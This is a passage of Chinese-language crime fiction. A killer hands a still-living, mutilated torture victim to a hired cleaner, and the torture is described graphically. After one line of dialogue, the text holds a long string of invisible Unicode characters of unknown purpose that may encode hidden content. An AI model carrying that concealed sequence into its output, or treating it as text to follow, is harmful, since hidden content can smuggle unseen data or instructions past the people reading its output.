蓮蓬頭灑出熱水，一片染紅的水很快地湧向排水孔。
羅·拉索雙手撐在灰黑色牆面上，熱水將他的肩頭沖得發紅，當他抬頭時，更多被沖淡的血水自他的臉上滑落，等到腳邊的水重新變得澄澈之後，他隨意撥開殘留在眼臉上的水珠。他在一旁的鐵架子上挑揀出標示為洗髮乳的米白色瓶子，扭開瓶蓋後湊近瓶口嗅聞，但隨即一臉嫌棄地將瓶子放下，他拿起其他的瓶瓶罐罐，重複同樣的動作，直至找到一個不會讓他皺眉頭的清潔用品。
他清洗身體的方式近乎潔癖，身上沒有一處肌膚不被他用力刷洗過，耳後和指甲縫這般容易被忽略的部位更是仔細地搓過一次又一次。等到他關閉水龍頭時，十指的指腹皆已變得軟皺發白。
走出淋浴間的羅從洗手台旁拿起折疊整齊的浴巾，這時候他的動作又顯得過於散漫不經心，捲曲的棕髮只得他用毛巾胡亂擦個兩下就完事，微涼的水滴很快就沿著髮絲落到他的耳尖和肩膀，可他看起來一點也不在意，將浴巾圍到腰上後，他赤腳踏進鋪著柔軟地毯的臥室。
房內僅有角落昏黃的間接照明，厚重的窗簾令人分不清外頭是白日抑或黑夜，在羅挑挑揀揀衣櫃裡的衣物時，床鋪上的另一個人影不時細碎的扭動，像是在睡夢中被聲響吵醒，也可能是在做惡夢，羅並沒有瞥過去任何一眼。
好不容易在一片花紅柳綠中挑出一套深色系的棉質上衣和長褲，羅慢條斯理地穿上身，被他隨意拋到床上的浴巾，不知何時已經染上半片的紅。
羅打了個哈欠，他從一旁的木櫃上拿起自己的手機，螢幕透出微微的亮光，照亮他下巴周遭的肌膚，一條深色的疤痕在他頰上若隱若現。
經過大約十多分鐘的時間，房門被外頭的人打開，走進來的是頂著一頭紅棕色亂髮的高大男子，他臉上戴著白色的醫療口罩和一副墨鏡，頸間還掛著眼罩，左手則在身後拉著一個大行李箱，看起來就像是剛下飛機的模樣。
由於光線明顯不足，奧坦·約克摘下墨鏡，他瞥了一眼羅，棕色皮膚的男人只對他頷首一下，就當打完招呼，然後奧坦轉頭看向佔據龐大存在感的加大雙人床。
連口罩也遮掩不住他的驚呼：「我的耶穌基督、瑪麗亞、喬瑟夫啊。」濃厚的英國牛津腔讓他的語氣聽起來更加震驚。
「你找我幹嘛？你不如找幾頭吃廚餘的豬吧！」奧坦怒目瞪向羅。
羅挑起眉，他看起來有些意外：「胡椒博士說你是最厲害的。」
「拜託！就算是撒旦也不能處理……這團肉渣好嗎！」奧坦指向床上的人影，不敢置信地看著羅。
「如果我縫起來，你會更好處理嗎？」
「不會！」奧坦極快地答完但又遲疑，「都已經這個狀態了，還能縫起來嗎？」
「沒什麼不行的，反正你可以幫我。」羅收起手機，雙手插在褲子口袋裡：「看你決定。」
奧坦看了看羅，又望向床鋪，他忍不住將口罩的鼻梁壓條又捏得更緊一點。
「我可以處理。」他誇張地大嘆一口氣，「但他身上那些蟲可以先拿走嗎？那是蛆嗎？蚯蚓？」
「蛭。」羅轉身走到一旁的玻璃茶几，捧起一罐像是實驗器具的透明玻璃瓶，裡頭放著一支鐵製的鑷子，「以前的醫生，大概中世紀時期，很常用蛭來放血。」
「單純疑惑，」奧坦舉起手，像是在課堂上發問的乖學生，「他為什麼還沒死？」
「血蛭吸血到最後會爆體而亡的說法，只是迷思。」
「我不是問那些蛭……」奧坦看起來像是即將需要純氧治療，「我是說這個肉團……這個惹到你的倒楣蟲。」
羅低頭看向一臉鐵青又恐懼的男子，恍然大悟地說：「如果他死了，你會更好處理嗎？」
奧坦不知道這傢伙是純粹不能溝通還是腦子有問題，或許他剛從地獄裡爬上來，還不太會說人話，「不一定，看情況，你想要他死嗎？」
「我以為那是你的工作。」
「啊，對，對，是的，胡椒博士給我的簡報裡有說。」
羅繼續用鑷子將肥圓的蛭從男子的內臟上緩緩地拔下來，再放到玻璃罐子裡，途中男子持續地碎動，只是被藥物影響的他，頂多只能讓肌肉抽搐，連根指頭都抬不起來。
「不得不說，看久了還挺好看的。」奧坦一手環胸，一手撐著下巴，他指的自然是從頭到尾都被忽略的房裡第三人。他走到牆邊：「我能開燈嗎？」
羅點點頭。
隨著天花板上的白熾頂光亮起，房內的情況總算一覽無遺。
「我知道你很厲害，但我沒想到在沒有機器的輔助之下，你還能讓一個人在這種狀態下活這麼久。」奧坦摩娑著下巴。
「『活著』這個詞彙能有很多種定義。」
聽到羅的話，奧坦忍不住笑出來，他從自己的行李箱裡頭拿出兩付拋棄式手套，然後一一戴上。他走到床側，檢查了點滴瓶和血袋的情況，動作熟練得就像醫院裡頭的專業護理師一樣。
又過去幾分鐘，羅已經把男子身上所有的蛭都夾進玻璃瓶裡，胸口大敞的男子依然睜著雙眼，但他也別無選擇，他的眼皮早在胸口被剖開前就被剪掉了。
「我不想問，但那些蟲，你會怎麼處理？」
「燒󠄊󠄀󠄃󠄎掉󠄊󠄀󠄃󠄎。」 󠄵󠄀󠄀󠄂󠄫󠄥󠄹󠄧󠄓󠄸󠄿󠄵󠄑󠄋󠄬󠄷󠄭󠄰󠄠󠄐󠄷󠄛󠄭󠄘󠄶󠄞󠄱󠄝󠄔󠄛󠄴󠄆󠄌󠄈󠄓󠄾󠄰󠄩󠄨󠄋󠄇󠄊󠄍󠄂󠄆󠄜󠄋󠄺󠄈󠄪󠄗󠄎󠄤󠄳󠄮󠄨󠄐󠄔󠄴󠄣󠄎󠄒󠄽󠄖󠄰󠄟󠄀󠄟󠄵󠄏󠄞󠄃󠄳󠄟󠄾󠄚󠄂󠄁󠄥󠄚󠄊󠄧󠄫󠄢󠄌󠄜󠄮󠄂󠄢󠄊󠄱󠄬󠄢󠄜󠄗󠄅󠄑󠄆󠄜󠄠󠄡󠄘󠄑󠄓󠄏󠄠󠄷󠄯󠄜󠄧󠄛󠄏󠄨󠄴󠄂󠄖󠄪󠄿󠄇󠄍󠄣󠄪󠄮󠄼󠄗󠄵󠄀󠄣󠄚󠄹󠄁󠄒󠄢󠄴󠄚󠄨󠄏󠄱󠄛󠄐󠄋󠄺󠄀󠄧󠄇󠄫󠄑󠄀󠄢󠄄󠄎󠄡󠄋󠄇󠄄󠄊󠄜󠄰󠄕󠄌󠄞󠄋󠄈󠄛󠄢󠄼󠄃󠄝󠄐󠄦󠄸󠄗󠄎󠄎󠄒󠄬
似乎沒預料到會得到這麼普通的回答，奧坦沉默了會，「好。」
「接下來你能處理了嗎？」羅的問法讓奧坦想起一些開刀完後，把收尾工作留給住院醫生的外科醫生，帶著不容置疑的威嚴，以及彷彿將人開腸剖肚是一件很稀鬆平常的事的輕鬆。
「可以了。」奧坦伸手將男子的臉轉向羅的位置，像是在操縱玩偶，「最後還有什麼話要說嗎？嗯？爹地——」
羅看向奧坦，然後他打了個倦意滿滿的哈欠，奧坦無趣地癟癟嘴。
「我走了。」背起一個樸素的黑色背包，羅走到房門口，「胡椒博士會給你尾款。」
專注在工作上的奧坦擺擺手，連個再見也沒說。
走到室外的羅，影子被黃昏給拉得老長，這個街區一直都沒有什麼人，此時也就幾個散步、遛狗的行人。
他沒有擦身而過任何人就走到停在路邊的一輛墨綠色荒原路華旁，解開門鎖之後他將背包丟到後座，但他並沒有馬上開車駛離，杯架上的咖啡還有最後一點，他將剩下來的棕色液體，連同殘留在杯底沒有化開的糖粒一併飲盡，然而所剩無幾的咖啡因和糖分並無法幫他代謝任何疲倦。
口袋裡的手機在此刻不合宜地響了起來。
「幹嘛？」羅趴在方向盤上的應聲聽起來有氣無力。
「你為什麼聽起來這麼累？」電話對面的女聲突然倒抽一口氣：「你忘了。」
「我沒忘，要不然你以為我為什麼聽起來這麼累？」
「只是吃個飯，總比工作好吧。」
「我寧願繼續工作。」
「行了，別像個不懂感恩的王八蛋，快點回家。」
羅嘆了口氣，將通話掛斷。
他啟動荒原路華的引擎，用一貫的高速在道路上行駛，沿途可能嚇壞了一些良善的郊區住民。